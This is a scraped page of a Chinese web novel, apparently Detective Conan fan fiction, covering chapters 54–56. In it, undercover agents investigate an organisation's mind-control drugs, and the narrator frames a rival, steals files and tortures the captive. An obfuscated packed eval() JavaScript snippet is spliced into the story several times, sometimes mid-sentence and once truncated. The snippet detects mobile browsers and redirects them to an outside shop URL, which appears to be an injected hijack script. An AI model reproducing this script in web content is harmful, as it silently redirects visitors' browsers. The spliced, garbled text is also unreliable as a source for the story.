;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16657845|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 又太吵了。 太吵了。太吵了。太吵了太吵了太吵了。那些人的吵闹声在他眼睛里挣扎着要冲出来。耳膜像被注入了雪花屏一样一直在嗡鸣。吵得他在一片死寂的屋子里心烦意乱。 又太安静了,像一直俯瞰众生的太阳一样。 他讨厌很多东西,从那天开始,他也讨厌太阳。 少年最后也只是叹了口气,那一整夜他都自己缩在沙发的最角落,身体里躁动而虚假的疼痛持续折磨着疲惫的神经,他在沉默中睁眼一直到天明———直到一边的任务通知又亮起。 反正没有伤口,反正无所谓。 他起身,动作间的卡顿被他压制住,扣上机械面罩走出门,那杯水依旧放在桌子上,他没再动过。 水面在晃动。 【?】 模拟结束,竹取无尘猛地甩开了模拟器坐了起来,伸手确认着自己的眼睛依旧待在自己的眼眶里。 呼吸。呼吸。 眼睛鼓胀地跳动,眩晕感带着脑子搅成了一团,脏器位移的感觉直让人想弯下身去干呕。 保持安静。 陈无坐在操控台后面,依旧笑着看向他。 他晃了晃头,虚假的疼痛和罩着整个人,整个房间没有人说话,只有偶尔的电流音响起,一侧的屏幕不自然的光照亮了一半的侧脸,青年调整着呼吸节奏,撑着一边的扶手站了起来。 喉咙被分泌出的液体堵死,被他强行忍住咽回。 竹取无尘压着疼痛走到那人身后,控制着装置给自己倒了杯水,骨头扭曲的感觉让他拿着杯子的手突然晃了一下,却被转过身来的男人一把稳稳扶住。 水面平稳,这次没有洒在地上。 “过关了,可以说话了。”陈无的视线同样落在了那平稳的水面上,扶住他手臂的手缓缓松开,“可以和我说说话了。” 他拿着杯子抬手,温水流入喉间带走了许多不适感,被封死的喉咙口在清水的浸润下松动了些许。 竹取无尘张了张嘴,明明只是过了短短的半个小时,声带运作的感觉却突然变得很陌生。 “……………” 他揉了揉自己的脖颈,喉咙被割开的感觉已经被流水抚平。 “………………” 他同样拉过了一把椅子,沉默地坐在了刚刚操控控制台的人的旁边。 眼睛被挖出来的诡异感减轻了不少,疼痛也随之在消解。 “………………” 一边的男人见状,把那杯已经空了的玻璃杯接过,片刻后,一杯温水被稳稳塞在了他的手里。 他盯着那杯水,又缓了半天,声音最终带着一些干涩从喉间发出。 他说。 “嗯。” 好久没有听到自己的声音了。 这种破训练是什么变态想出来的。 这个电流声好吵。好吵。 “把话说出来就不吵了。”陈无在一边弯了弯眼角,像想到了什么一样,眼神轻飘飘地落在不远处的模拟器上,“以前就是这么过来的。” “嗯。” 疼痛是落在肉//体上的东西。 疼痛是假的。 146 【东京 安全屋。】 青年睁开眼,整场的睡眠变成了一个大型回忆电影,有点太过于吵闹了。 整间安全屋一直被寂静围绕着,他顺手翻阅了一下琴酒发来机票信息,走进卫生间洗了把脸。 记忆在双向交错并行。 脖颈间的伤痕消退了不少,水滴些许从下颚滑落,镜子里那双与他一般无二的黑瞳让他蹙了下眉。 另一个房间内有电脑消息提示音响起。 青年回过神,关上了面前一直哗哗流着水的水龙头。 算了,都算了,别想这么多。 先把这个破组织处理了。 失忆未尝不是一件好事。 54.第 54 章 147 【电脑通讯】:在提供的地址中找到了几份文件,资料在附件中,有一份加密文档,但是没有密钥,强行破除会导致资料受损,我们没敢动。 【电脑通讯】C:发给我我看一下吧。 【电脑通讯】:好的。 148 秋山一彦调查出来SPL成瘾后导致的傀儡有几个很致命的问题———第一个是会导致人的寿命大幅度缩短,第二个是因为导致人完全丧失了思考能力,会无条件服从所有人的指令。 现在这份药物已经明显有了对外交易的趋势。 另外一组正在研发的APTX系列则和生长素抑制类相关,在之前被组织作为毒药到处乱喂。 “所以说这些药物只给了我们这些近两年成为代号成员的人进行实验是吗?”降谷零在一侧盯着竹取无尘电脑上显示的资料。 他刚刚顺路来和竹取无尘同步原田净三的消息,然后直接被这个人拉着坐下一起看情报了。 “目前调查出来是这样没有错。”青年的指腹下意识在电脑桌上打着圈,“感觉这两个问题并不能算什么太致命的缺点。” 如果仅仅是作为药物控制组织成员来说———那是一点缺陷都没有了。 “但是现在明显组织对于THK和SPL依旧不满意。”公安接着一边人的话。 “他们想要一个有思考能力的,寿命长的,只服从于部分人指令的傀儡?”竹取无尘的眉头骤然蹙紧,“而且他们还对政府人员下毒?” 青年转头,看向公安同样略缩的瞳孔:“你会不会在和我想同一件事情。” 这个世界上并没有这么完善的洗脑药物。 能把人变成痴呆傻倒是真的。 “APTX和生长素类的产品有关。”降谷零双手环抱在胸口,沉吟片刻,接着道,“阻止机体衰老?” “还是返老还童?死而复生?” “也就这么几个作用了,只是毒药的话也太浪费了。”竹取无尘顺手把手边摆着的水杯往同事那里推了推,“大差不差。” “你说,”公安见状,伸手拿过水杯,“你说如果,他们真的掌控了可以完全操控一个人的药————” 竹取无尘:“他们就不可能止步于只控制我们这种人。” “他们会去控制更多的人。” 军官?议员?甚至是…… 首相? 或者说……操控一些……选举? 甚至操控者还有APTX这种东西能让他活得长长久久。 权力,而且是极其安全的、极其高的权力,一直藏在后面就行了,一点风险都没有———这东西可比财富香多了。 单纯的长寿是折磨,但是……永远身处高位的长寿呢? 两位卧底对视了一眼,都没有接着说出下面的话。 这个组织的野心太大了。 难怪会有这么多高层官员依附于这个组织,如果有朝一日他们的计划真的成功了,那就不止是一点的名华富贵了。 “解药和证据。”公安深吸一口气,“解药快批量制作出来了,药物样本也有了,证据还差相关的医药公司以及实验室位置,这件事情必须拦住。” 竹取无尘听着同事的安排,点了点头,没做声。降谷零顺着看向了那人手中的握着的笔,明显用力的指节已经将将要把——— “咔。” 没有将将,已经掰断了。 竹取无尘撇了一眼在自己手上断成两节的铅笔,丢到了一边的垃圾桶中,沉声道:“野心真大啊。” 乌丸集团的经济和政治影响力已经够大了,还不想止步于此吗? 这个世界上还要再出现一个艾德里安是吗?* “有点太过于大了。”降谷零皱了下眉,看向垃圾桶中的铅笔,以及旁边明显有些低气压的人,问道:“你怎么了?” “我只是想到了……”竹取无尘拿过了自己的杯子,在手上随意把玩了两下,声线比刚刚更冷了些,“想到了前两天看到的一个故事而已。” 青年起身,背靠在了一侧的窗台上,手里依旧摩挲着那只马克杯,脸上没有什么笑意。 “故事?”降谷零挑了下眉。 什么故事能让这人直接冷脸了。 “一个很烂的故事啊。”竹取无尘没带感情地嗤笑了一声,“和这个乌丸莲耶的目的还挺像的,要不我讲给你听?” “那我就当一个合格的听众了。”公安在一边的电脑椅上坐了下来,“是关于什么的?” “关于………”青年腾出来了一只手,视线放在了那只手上,却又像在看着虚空。 “关于一个战争是怎么爆发的故事。” 那只手缓缓张开,又慢慢合拢握成拳。 “在作者的设定里,那个国家叫做阿蒂斯联邦合众国。” 降谷零:“还是个异世界的故事?” “还真是个异世界的故事。”竹取无尘听到了同事的话,略显无奈地笑了一声,“也和大部分异世界小说一样,从一个作为勇者的主人公开始说起。” “故事的主角叫艾德里安。” 早在战争爆发之前,裂痕就已经存在了。 150 在之前,阿蒂斯还没有现在衰败得这么严重,也没有出现战乱。 但是当年的政/权依旧有严重的腐败问题,直到那个控制系能力者艾德里安的出现。 那个人是个彻彻底底的天才,能力等级已经不能用A级S级中级高级来判定。 他从边境军官一路升进中央核心总署,用强大的控制系能力直接推翻了原政/权,建立了新的统治制度,那一年那个人才18岁。 阿蒂斯突然在那个人手上经历了短暂而虚假的繁荣与和平,仿佛曾经的腐败就不存在了一样————因为那个人犯了大忌。 他大量动用了控制系异能,强行控制了那个政府里所有与他意见不符的人,每一个活生生的、真实的人在他眼里,不过就是一个可以任其随意摆布的棋子。 控制系和精神系不同,控制系的人没办法操控人的思想,但他们能强行控制人的肉//体,不像精神系的精神控制会随时随地出现莫名其妙的差错。 再到后来,他把控制的枷锁对向了平民,一个充满理想主义的少年,在短短几年间变成了信奉极权主义的恶龙,他觉得他才是真正的救世主,他觉得除了他,就没有人能拯救阿蒂斯了。 “这样建立起来的政/权太脆弱了。”降谷零接着故事的一半说道,“我想我知道你为什么要讲这个故事了。” “对啊,就是这个原因。”青年冲着对方眨了眨眼,微微一笑,“两个原因都是这样的。” “这样建立起来的政/权太脆弱了,因为那个统治在本质上来说就是以艾德里安的个人意志为中心的暴/政。” “所以那个政/权很快就垮了,毕竟不是所有人都被艾德里安给药物控制了。” “压迫带来的愤怒变成火焰,从边境开始,倏然就被点燃成一片。” “这样啊。”降谷零听到消息提醒,看了眼手机,顺手回了下属两条消息,抬头问道,“然后呢?” “然后?”竹取无尘歪了歪头,微长的发丝随着晃动,“然后艾德里安暴毙,政权瓦解,战争爆发,没了。” “没了?” “没了。”青年耸了耸肩。 公安哑然了半晌,接着问道:“阿蒂斯之后怎么样了?” “不知道啊,作者没写。”青年笑了一声,“烂尾了。” “确实很烂。”降谷零微微颔首,电脑屏幕上的那几行药物缺陷突然有些扎眼,“所以你才想到了这个故事?” “所以我才想到了那个故事。”竹取无尘的黑瞳暗了一瞬,“要把这个组织给毁了,把他们的药也直接连根拔除。” 野心太大了,人是不能被这么控制的。 不然早晚有一天会自食恶果。 “所以啊——”竹取无尘的突然把声线带着轻快上扬了些,“要保护好你的日本啊!降谷警部!” “难道不是你的日本吗?”公安看向一边已经没了刚刚那种冷意的竹取无尘。 竹取无尘:“我不是间谍吗?” 降谷零:…………? “就算是间谍,”降谷零带着头上有些凸起的青筋假笑着,“都到警视厅了,就算是间谍也要好好上班啊,竹取警部。” “噗,对不起对不起。”青年用手虚遮了一下扬起的嘴角,假装咳了两声,正色道,“所以原田净三有多说什么吗?” 公安听到了面前人把话题转了回来,思量着说道:“已经可以确认原田净三和Eyad Thomas同属于美国科西嘉财团,那个黑手党曾经指派过Eyad——也就是波特酒,去扰乱组织拿到那份banana fish的药物实验报告。” “但是那份报告最后还是被我拿到了。” 竹取无尘看着窗外高悬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16670415|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的太阳,光线稍微有点晃眼,“所以他们改变策略,决定和组织合作,甚至可能是用THK交易?” “应该是这样没有错。” 公安顺势坐在电脑椅上转了一圈,“不过他在警察厅没有交待你给我的那只录音笔里面的东西,没有办法把井上顺阳的死亡归因到他的身上。” “除此之外问他也没有说什么别的了,有人想要灭口,被我们的人发现拦住了。” 青年揉了揉鼻梁:“果然是这样。” “不过好歹算是又引出了一个。” “可惜让那人服毒自尽了。”降谷零的声线微沉,蓝灰色的眸子看向一边杯中平静的水面,“不然应该还能多问出来点东西。” “不能让那种药流通出来,那个东西比THK还要恐怖。” 公安想到了那天他在录音笔里听到的东西,把视线投向了那个承认自己刑讯逼供的人的身上。 那种话要是在警察厅里问出来,可就真的不得了了。 ————“那是……那是……精神控制的药物!!” ————“注射了之后………他们就分不清楚自己是谁…他们只能服从…『命令』……不然就会受着难以忍受的痛苦……” ————“但是遵从了命令…也没有办法…得到解脱……他们只能……只能因为无法忍耐痛苦而开始破坏自己的身体……导致自杀。” ————“我……我只是让他记住…他最恐惧摄像头而已……看到相机…就让他拿枪……把所有人都杀了,结果…结果那个废物什么都没办成,就被条子按住了。” “只能先尽力不让那种东西流通到境内了。”青年想到了那个东西,同样止不住地皱着眉。 被下了这么毒的精神指令,难怪井上顺阳的精神画布直接被敲碎了,那份指令带来的痛苦已经彻底把『自我』给毁灭掉了。 真是令人作呕的手段。 降谷零:“美国那边你怎么处理?” “已经差不多安排好了。”竹取无尘把手上的马克杯放回桌上,拿过手机给同事发送了几条信息,“我的机票时间已经发给你了,这次的任务我们这边可管不了。” 他对着对方笑了一下,黑瞳中带着温和:“我会去尽可能获取banana fish的消息的。” 公安查收了消息:“好,那我——” 电话铃声打断了没有落地的话语,降谷零朝着对方示意了一下,先行接起了电话。 竹取无尘看着对方越发沉下来的脸色,心同样沉了些许。 通话挂断,降谷零收起了手机,站起了身:“没看住。” 青年吸了口气:“原田净三?” 公安沉默着点了下头,整个警察厅内部同样有外方的势力渗透。 竹取无尘直接伸手按了下同事的肩膀,声线有些发紧:“去查的时候,不要暴露自己了。” 太危险了。 这句没有说出口的话,沉重地悬在两人之间的空气里。 被他按住的同事抬起眼,目光与竹取无尘担忧的视线在空中交汇了一瞬。 “我会的,放心。” 青年在楼内隔着窗户目送同事急匆匆开车离去,若有所思地又重新拿起了一边的马克杯,指间下意识在杯体上敲了敲。 故事没有讲完。 阿蒂斯在之后还有后续———后续就是他经历的那个时代。 其实并没有过去多久,不过就是十多年光景。 艾德里安死了之后,政/权交接不到位,出现了真空期,再加上愤怒和仇恨如草絮一般一点就燃,阿蒂斯国内的对/立/情/绪加剧,本就风雨飘摇的边域地区被反/政/府势力迅速攻占。 以瑟克尔党派为首。 阿蒂斯联邦在不可逆转的垮塌中越陷越深。 果然是烂尾了。 别说什么艾德里安也曾经是为了阿蒂斯好,他做的事和现在乌丸莲耶想做的事没区别。 所以这破组织果然还是快点去死吧。 他低头,在手机键盘上敲敲打打,联络着那个很久没见的探员。 149 【手机通讯】C:你在FBI的职位高吗? 【手机通讯】A:?? 【手机通讯】C:看起来是不高。 【手机通讯】C:我要见你上级。 【手机通讯】C:确定是自己人的、有一定话语权的那种上级。 【手机通讯】A:???? 55.第 55 章 150 【美国纽约】 “琴酒大人果然和传闻里面一样记仇。”玛克白兰地大大咧咧地翘着二郎腿,坐在琴酒对侧的沙发上,“稍微惹你一点不乐意,就直接把整个任务甩出来啊。” 空气中弥漫的硝烟味几乎凝成实质。伏特加站在琴酒侧后方,额头渗出细密的汗珠,大气不敢出。 “这不正是你想要的?”男人背着光,神色大部分都藏在了帽沿下。 “我当然乐意至极。”那人笑得些许猖狂,“就是怕你到时候被我拽下来了,会不乐意啊。” 琴酒直接把任务资料甩了出去,甚至连一眼都没看,纸张在空中“哗啦”一声散开:“你可以试试。” “哎呀呀,”玛克白兰地弯腰捡起了资料,那沓白纸在手中拍得噼啪作响,“我确实想试试。” “不管是试试好好完成任务,还是试试处理废物。” 那人若有所指地看向他面前的二人,然后转身大步朝着门口走去,正好被走进来的珀洛塞可狠撞了一下。 “哟。”玛克白兰地停下脚步回过头,那双带着戏谑的眼睛在珀洛塞可和伏特加身上来回扫视,最终又落回琴酒身上,笑容里的恶意几乎要溢出来,“琴酒大人真的好大的派头,出门还带着两条狗。” 伏特加的脸色沉了下去,手默默握紧,但他依旧习惯性地看向琴酒,等待大哥的示意。 珀洛塞可闻言,淡漠地站定在一边,抬眼看向对方:“那你对同类的定位还真准确。” 青年的目光略过了对方手里那份今晚的任务资料:“不过下次见到我,可别再龇牙了。” “你还是摇尾巴的时候最可爱。” “嗤。”靠坐在沙发上的琴酒发出一声短促的嗤笑。 “你……”对面的表情混着狂傲有一瞬冻在了脸上,随即冷笑一声,“我看你们现在也就只有嘴硬了。” 玛克白兰地扬了扬手中的资料。 “等着吧各位,给我开庆功宴的时候,记得也要用这个语气。” 门被“嘭”一声关上,室内恢复平静。 珀洛塞可瞄了一眼身后的门,走到了茶几边上,手里拿着一份没有打开过的档案袋,歪头看着坐在沙发上的琴酒一言不发地点燃了手中的烟。 灰白色的烟雾在弥漫。 “珀洛塞可珀洛塞可,”伏特加用手肘轻撞了一下站在一边的青年,压低的声线中带着一丝畅快,“骂得好。” 他又凑近了些许,“当年我第一眼看到你,我就觉得你小子肯定有前途。” “哦呀,”青年对着一边的人笑眯着眼,“那你真的很有眼光。” “琴酒大人也同样地……” 他把目光投向了一侧一直不说话的人身上,黑瞳里折射着不易察觉的光,刻意地带着抑扬顿挫,一字一字道:“很、有、眼、光。” 正在抽着烟的人的绿眸晦暗地撇了说话的人一眼,没有搭理这人莫名其妙的话,直接问道:“安排好了?” “全部安排好了。”珀洛塞可俯身,把那份文件袋放置在茶几上,推送至杀手面前,用只有两个人的声音说道:“我保证他今天晚上就能落到我们两个手里。” 面前人说完话,依旧保持着那份假笑在琴酒的目光下无事发生一样退回了一边。伏特加打量了一下自家大哥和珀洛塞可之间的气氛,没打量出个所以然,只能接着琢磨刚刚玛克白兰地嚣张至极的气焰。 杀手垂眸盯了半晌档案袋,又咧嘴笑了一声。 “伏特加。” “唉大哥,”一边站着的小弟应答着,“怎么了?” “没你的事了,”琴酒没有抬头,接着道,“去玩你的去。” 伏特加愣了一下,目光在琴酒和珀洛塞可之间快速扫了一圈,迟疑道:“那……大哥我先走了?” 杀手没有回答,只是单单示意了一下门的方向,珀洛塞可就听着伏特加骤然放大而开心的心声,目送对方走了出去。 甚至可能没有琴酒在场的话,伏特加已经用跳的了。 这人晚上还能去看冲野洋子的美国巡回演唱会啊。 青年抬了抬眉尾,看向已经关拢的门扉,径直坐在了离琴酒最近一侧的沙发上。 “你对下属的员工福利还真不错。”珀洛塞可砸吧着嘴,偏了下头,唇角的笑意加深了一分,“不打开看看吗,大人?” “这些图片可花了我不少心思。” “是吗?”杀手的视线落在几乎整个陷进沙发里的青年身上,对方慵懒得仿佛这里是自家的客厅一样。 “当然。”青年的回答又带着一点轻松的笑意,他无视了琴酒那份目光,反而仰头靠在沙发上看着天花板的灯影。 琴酒把那只未燃尽的烟叼在嘴里,伸手拿过了那份档案袋,线圈绕在手指上逐渐拉开,里面几张完全作假的照片重见天日。 『玛克白兰地杀了代基里的监控截图』 『玛克白兰地与某位外国男性见面的照片』 『与玛克白兰地见面的男性的FBI身份证件』 珀洛塞可用着余光看见了那人的动作,话音中笑意未减:“从现在开始,他玛克白兰地就是潜入组织,杀了代基里,试图利用我们组织,拿到并调查banana fish的——” 他故意在这里一顿。 “FBI探员。” “喜欢这个处理吗,大人?” “谢谢你那天的监控截图。” 只要一点点的怀疑,罪名就是成立的。 更何况是这种这么致命的东西。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“晚上去盯着,”琴酒瞥了一眼躺着没动作的人,“别让FBI探员跑了。” 那声“FBI探员”被人咬得由为重。 说罢,杀手毫无预兆地抬脚,皮鞋的侧面用力踢向了沙发的底座。 “咚”一声的闷响,震动直直从沙发底清晰地传达到了珀洛塞可的后脑。 “起来。”命令简短有力。 琴酒不再看向沙发上躺着的人,拿起茶几上散落的照片走出了门,留给珀洛塞可一个与往常一般无二的背影。 青年真心实意地弯了弯嘴角,一下从沙发上坐起,后脑还残留着一丝刚刚传来的震感,抬手看了一眼自己的手机。 玛克白兰地在刚刚被他撞的那一下已经踩上了定位器,位置同步给了FBI,他们不会介意晚上去毁掉一场□□交易的。 而且他也可以顺手去弄点他想要的东西。 56.第 56 章 151 夜色渐浓。 珀洛塞可拿着定位仪,跟着玛克白兰地到达了现场,他并没有通知FBI他也会出现,毕竟这只是一个他常用的、转移视线的手段而已。 目的地大楼一共23层,在玛克白兰地和这帮人寒暄大半天的时间,他已经全部摸索过了一遍,顶层是档案库,可以进去看看有没有相关的资料,但是有太多人员看守,不能硬闯,闯进去了也出不来。 哈哈,他现在这个能力可太废物啦! “琴酒,玛克白兰地他们去了地下室。”青年压了下鸭舌帽,看着那一大帮子人与他去了相反的方向。 最首一侧的男人是美国科西嘉财团纽约社团的首领帝诺,正在和拿着一箱子THK的玛克白兰地说些什么,后面几个打手压着两个明显是东亚面孔的少年走了进去*。 青年蹙了下眉,扶了扶蓝牙耳机:“这场交易他们是要做什么,怎么这么多人。” 耳机那边传来男人的声响,混着明显的风声:“没看资料,不知道。” “啧。”珀洛塞可明显不满地咋了下舌,那头明显的风声让他更加不满,“你不会又在哪里准备拿狙击枪狙我吧?” 对面的人嗤笑一声:“你要是想,我也不介意把你一起送走。” “那天我果然应该带着炸弹来见你。”青年一路避开监控摄像头,重新蹿上了顶层,观察着看守的行动。 其实他很想直接破坏掉两个涉黑集团的交易,但是根本无从下手。 十多年前阿曼达在政商两届的影响力还能制约一下这两个地方,结果朗姆一下失手把阿曼达杀害了,反而让这两个集团有了些交流,就是不知道为什么三年前突然谈崩了,最近又因为他成功给组织拿到了banana fish的资料,直接促成了合作。 他这个公安警察还真是给别人做了嫁衣。 琴酒很明显也不想让这俩合作,但是如果他们两个破坏了这场合作,他们会直接失去上升的通道。 既然境内的官僚大部分还是依附于乌丸莲耶,那他们现在最主要的目的就是———混上高层,找出乌丸莲耶,把药物连根拔出,彻底宣告他们的计划是失败的。 他还真得当个高层。 珀洛塞可思量着过往一堆乱七八糟的事情的因果链,突然敏锐地捕捉到了楼底下明显不同于手枪子弹交火的声音。 “FBI?”耳机那边的人同样声线上扬,看不见表情,没有办法分辨出是疑问还是嘲弄,“黑/帮火拼吧?” “这谁知道。”青年答着话,在死角里看着楼道中逐渐慌乱的场面,“有什么关系,我们的目的达成了就行。” 肯定和那两个被压着走的东方面孔的少年有关系。 “快快快快快快快楼下,帝诺老爹还在下面。” “怎么回事?哪边的人?” “亚修*,是亚修那边来的人,他们是怎么知道——” 楼道中的看守一个一个离开了楼层,最后剩下的那一个守在了文档室的一边。 “我在这里看着就行,你们下楼增援。” 一个黑影迅速闪身上前。 “你———” 话音未落,只能看到那人微缩的瞳孔。 “嘭。” 珀洛塞可一把敲晕了门口最后那个看守。 “你在干什么?”琴酒那边明显察觉到了不对劲。 “我在干什么啊。”青年强行破开了档案室门口的密码锁,走进门环视一圈,拿出自己的U盘,接入了档案室唯一一台电脑上,轻笑一声,“当然是有人看到我了啊。” 嘀——— 权限破解器和干扰器绕开了所有需要密钥的系统,服务器指示灯在黑暗中闪烁,照亮了青年的面颊。 “你要是不说实话,”对面的声线在耳机里冷了下来,“我就让你和玛克白兰地一起变成FBI。” “大人,您刚刚亲口说过……” 珀洛塞可刻意拉长了音调,动作却没有慢分毫,他扫视着面前一份又一份的文档,有用的没用的全部被尽数拷贝,“FBI,很不入流。” 嘀———— 代表拷贝完成的提示音响起。 “我们换个身份怎么样?”青年利落退出U盘,闪身至门边,耳朵紧贴门板,确认外面走廊空无一人。 他猛地拉开门,毫不犹豫地冲向紧急楼梯通道。脚步声在空旷的楼梯间激起轻微回响,声音却带着笑意。 “比如……CIA?KGB?MI6?” “……………”对面明显是被气笑了一声,没有回话,珀洛塞可只能在耳机里捕捉到枪支上膛的声音。 “你怎么还是这么开不起玩笑,大人。”他侧身,把自己藏在一侧的门缝内,看着整个地下室紧急出口内一个接着一个撤退的人,低声道,“偷了点资料而已。” “偷资料?” 珀洛塞可甚至可以想象出对面那人的表情,正想接着说点什么,但是接着撤退出来的玛克白兰地让他静默一瞬。 玛克白兰地很明显一脸不爽地从出口走出,正在和美国科西嘉财团首领帝诺说着点什么,那箱THK依旧在手上拿着。 很明显,交易被直接打断了。 青年看着那人欠身和交易方道别,径直离开。 “你等我把人抓了,”他勾了勾唇,抽出自己的短刀,在那人身后偷摸跟了上去,“再和你讲。” 耳机中又传来一声冷笑,看起来也是默认了这整件事的发生。 通讯陷入短暂的凝滞。 青年的身影没入更浓的夜色里,初春的夜依旧咬着冬日的尾巴,冷风卷着若有若无硝烟味,带着咸湿而腥腻的空气从河道上吹来,另外一侧的警笛声依旧大作。 “看来你的交易不顺利啊。” 玛克白兰地看着珀洛塞可手上转着一把蝴蝶刀,步履从容地从街巷里走出,刀柄在指尖翻飞,银亮的弧光却透不进那双含着笑意的眼底。 “怎么?”棕发男人的声音沉了下去,“特地来嘲讽我?” “不过就是不知道消息为什么走漏,让一帮街头黑/帮去把小白鼠给救走了而已。” “你真的不知道消息为什么走漏了吗?”珀洛塞可手腕一抖,翻转着的刀刃“咔哒”一声精准回归刀鞘。 男人睨了一眼对方:“你这话什么意思?” “我的意思就是,”珀洛塞可双手环抱在胸口,倚靠在了一边的河堤围栏上,“你———” “砰!” 子弹在话音前从后方突然袭来,带着热流擦过青年的手臂,猛地钉进了正拿着交易物品的男人肩头。 “啊———” 玛克白兰地发出一声短促的惨叫,手中拿着的箱子应声脱手,砸在了地上。 珀洛塞可黑瞳微缩,迅速转身定位了子弹打来的方向,手臂处传来灼热的痛感,还没有等他说什么,耳机里,琴酒冰冷而不耐烦的声音抢先一步响起,带着不容置疑的命令: “废什么话,直接带回来。” “哈。”珀洛塞可了然地瞥了一眼自己手臂上的擦伤,转回身缓慢地朝着玛克白兰地走过去。 “你们…什么意思?”男人捂着伤口,看着面前带着压迫感的人,后退了两步,咬牙切齿道,“你们几个公报私仇?” “你们敢直接杀代号成员? “公报私仇?”青年的语调依旧轻飘着上扬,黑瞳缓缓看向了对面人肩头炸开的血迹。 下一秒,玛克白兰地只看到这人的眼神倏地转冷,他甚至没有看清面前人是如何动作的,颈侧就遭到一记精准迅猛的手刀,黑暗冲散了痛觉,代替了周遭所有的视线。 珀洛塞可冷眼看着面前的人重重砸在地上,发出沉闷的声响。他俯身,面无表情地捡起那个掉落的手提箱。 然后,他伸手攥住玛克白兰地后颈的衣领,开始拖动。不是搀扶,不是背负,就是最纯粹省力的———拖行。 他毫不在意地上的坑坑洼洼。昏迷的人体像一件没有生命的垃圾,被粗暴地拽过粗糙的地面,那人中了弹的肩头随着颠簸,在地上留出断断续续暗红的拖痕。 “大人,听到了吗?”青年懒洋洋地抬头看着今夜什么都没有的夜空,向着耳机那边汇报着,“他说你公报私仇。” “我也很赞同他的说法。”他又瞥了一眼自己手臂上那道被子弹擦伤的痕迹。 琴酒绝对是故意的。 “所以,”珀洛塞可一路走去了约定的地点,看见那辆不算熟悉的车———琴酒的保时捷还真没办法运到纽约来。 人照例被丢回了后备箱,青年自觉地坐进了副驾驶,动作间扯到了伤口,他故意做作地配合着“嘶”了两声。 车内的皮革味骤然被混杂了一丝若隐若现的血腥味,珀洛塞可调整了一个略显随意的坐姿,对着已经明显浑身上下写满不耐的杀手开口说道:“所以,大人。” 他侧过头,用没有受伤的手臂支着车窗,指尖点了点右手臂上依旧在渗血的伤口,由于是子弹擦伤,伤口周边甚至带着不少烧焦的痕迹:“我这身衣服和医药费,你得报销。” 语气十分的理直气壮。 杀手的目光扫了过来,落在了对面人被他故意擦中的伤口上,几秒的沉默过后,男人毫不掩饰地带着嘲讽嗤笑了一声。 “报销?”琴酒重复着,“可以。” 他猛地踩死油门,车辆蹿进夜色里,副驾驶座上坐着的人稍微后仰了一下,默默给自己扣上了安全带。 “不过你最好解释清楚,”琴酒从后视镜里看着对方可以说是散漫的笑容,声音里有些明显是威胁的低沉,“你刚刚拿到了什么东西。” “拿到了他们电脑里所有的资料而已,”珀洛塞可笑眯着眼,身体放松地靠住了座位,“又没说不给你看,别发这么大火,大人。” “要不我再送你箱菊花茶?” “那么现在被踢下车的就会是你。” 琴酒搭在方向盘上的手指轻轻敲击了一下,夜色中的霓虹灯在后退,路边偶尔可以看见尚未被清走的黑色垃圾袋。 “和你之前那箱菊花茶一起滚下去。” “哦呀哦呀。”珀洛塞可叹了口气,投降一样地随意举起了没有受伤的手,“开个玩笑嘛。” “等我们把后备箱那个东西处理好,我就给你解释清楚,大人。” 他真的很想快点弄死玛克白兰地了。 从那天晚上的酒吧开始,他就一直在忍着了。 他抬眼,后视镜里那双幽绿的眸子带着同样的杀意。 琴酒和他的目的真是出奇的一致啊。 152 “这也醒得太慢了。”珀洛塞可靠在地下室一面的墙边,瞥了一眼正在用手机处理任务的琴酒。 玛克白兰地被他们两个捆着丢到了一边,一直睡到了现在。 男人顺着话音抬了抬眼,手上处理消息的动作没有丝毫停顿,直接下令道:“把他叫醒。” 青年闻言微微颔首,唇角的笑意深了些,没有答话,只是走到昏死的男人面前,直接抬起脚,马丁靴硬质的鞋底精准而狠戾地踩上了地上那人的脚踝。 “咔哒。” 骨骼错位的声响在密闭的空间里响起,一边按动着键盘的杀手动作一停,饶有兴趣地侧头审视着珀洛塞可这明显带着报复情绪的行为。 那人注意到了他的目光,力道非但没有减轻,反而依旧在加重,甚至带着表演的意味,刻意地用鞋底碾转了一下已经错位的关节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688501|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “呃啊——!” 疼痛把人从昏迷中扯出,玛克白兰地的惨叫声紧接着响起。 珀洛塞可弯着眼睛,略微俯下了身,看着地上由于剧痛而清醒的男人,用温柔到近乎有些诡异的声线说道:“你终于醒啦,探员先生。” 